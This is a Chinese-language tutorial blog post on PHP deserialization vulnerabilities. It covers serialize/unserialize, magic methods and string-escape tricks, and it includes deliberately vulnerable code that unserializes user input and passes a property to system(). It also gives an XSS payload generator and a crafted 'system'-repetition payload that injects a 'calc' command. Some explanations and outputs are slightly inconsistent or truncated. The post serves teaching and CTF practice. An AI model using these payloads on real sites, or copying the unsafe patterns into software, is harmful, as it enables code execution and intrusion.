PHP反序列化

基础

主要函数

**serialize()**函数 : 把对象转化为二进制的字符串

**unserialize()**函数 :把对象转化的二进制字符串再转化为对象

示例讲解

<?php
//创建一个类
class User
{
    public $name;
    public $age;
    public function a()
    {
        echo "Name: $this->name, Age: $this->age \n";
    }
}
//创建一个对象
$user = new User();
//设置数据
$user->name = "John";
$user->age = 20;
//输出触发函数a
$user->a();
//输出序列化数据
echo serialize($user);

输出结果

Name: John, Age: 20

O:4:"User":2:

O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:20;},其中O代表对象(Object),4代表对象名(User)长度2表示有两个参数,s-->string 4-->长度

注意:序列化只序列属性,不序列方法

反序列化漏洞

原理

反序列化处的参数用户可控,后台不正当的使用了PHP中的魔法函数。

魔术方法

5个常见魔术方法

__construct:构造函数,当一个对象创建时调用

__destruct:析构函数,当一个对象被销毁时调用

__toString:当一个对象被当作一个字符串时使用

__sleep:在对象序列化的时候调用

__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

漏洞简单示例

<?php
class A{
    var $test = "test";
    function __destruct(){
        echo $this->test;
    }
}
$a = $_GET['test'];
$b = unserialize($a);

__destruct()在对象被销毁时自动调用,在反序列化过程中,PHP会根据序列化字符串中的类名自动实例化一个对象,并设置其属性,如果将$test属性设置为恶意代码 , 那么当对象销毁时,这段恶意代码就会被输出到页面上

给出利用代码

<?php
class A{
    var $test = "<script>alert()</script>";
}
$a = new A;
$b = serialize($a);
echo $b;

字符串逃逸

原理,特点

题目的本质就是改变序列化字符串的长度,导致反序列化漏洞

php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化

先进行序列化,再进行替换修改操作

利用方法

PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),所以"}"后的部分不会被读

例如:O:1:"A":2:{s:1:"a";s:6:"system";s:1:"b";s:4:"clac";}

示例讲解

<?php
class A{
    public $a = "aaaaaaaaa";
    public $b = "bbbbbbbb";
}
$a = new A;
$b = serialize($a);
echo $b; //O:1:"A":2:{s:1:"a";s:9:"aaaaaaaaa";s:1:"b";s:8:"bbbbbbbb";}

如果我们把序列化结果改成O:1:"A":2:{s:1:"a";s:17:"aaaaaaaaa";s:1:"b";s:8:"bbbbbbbb";}

那么这时a的值就变成了aaaaaaaaa";s:1:"b

如果在题目里对字符串进行了过滤如将 php 替换成了 hack 且是先反序列化再进行替换(未对字符串长度进行修正)那么就会出现字符串逃逸漏洞

O:1:"A":2:{s:1:"a";s:3:"php";s:1:"b";s:8:"bbbbbbbb";}

O:1:"A":2:

注意这时a的值是hac

<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
    public $m;
    public function __construct($m){
        $this->m = $m;
        $this->a = "whoami";
    }
    public function __destruct(){
        system($this->a);
    }
}
function filter($str)
{
    return str_replace("system","AAAAAAA",$str);
}
$b = new A('system');
$c = filter(serialize($b));
echo $c;//O:1:"A":2:{s:1:"m";s:6:"AAAAAAA";s:1:"a";s:6:"whoami";}

这时m的值为AAAAAA(5个A),所以最后一个A成功逃逸 -->所以两个system会导致最后两个字符逃逸出来

把";s:1:"a";s:4:"calc";} (22个字符)放在system后面 要让他们逃逸出来 需要22个system

<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
    public $m;
    public function __construct($m){
        $this->m = $m;
        $this->a = "whoami";
    }
    public function __destruct(){
        system($this->a);
    }
}
function filter($str)
{
    return str_replace("system","AAAAAAA",$str);
}
$b = new A('systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:4:"calc";}');
$c = filter(serialize($b));
unserialize($c); //";s:1:"a";s:4:"calc";}

这时如果题目的m参数我们可控,就可以构造恶意payload

posted @ 2025-06-23 16:00  Susen  阅读(26)  评论(0)    收藏  举报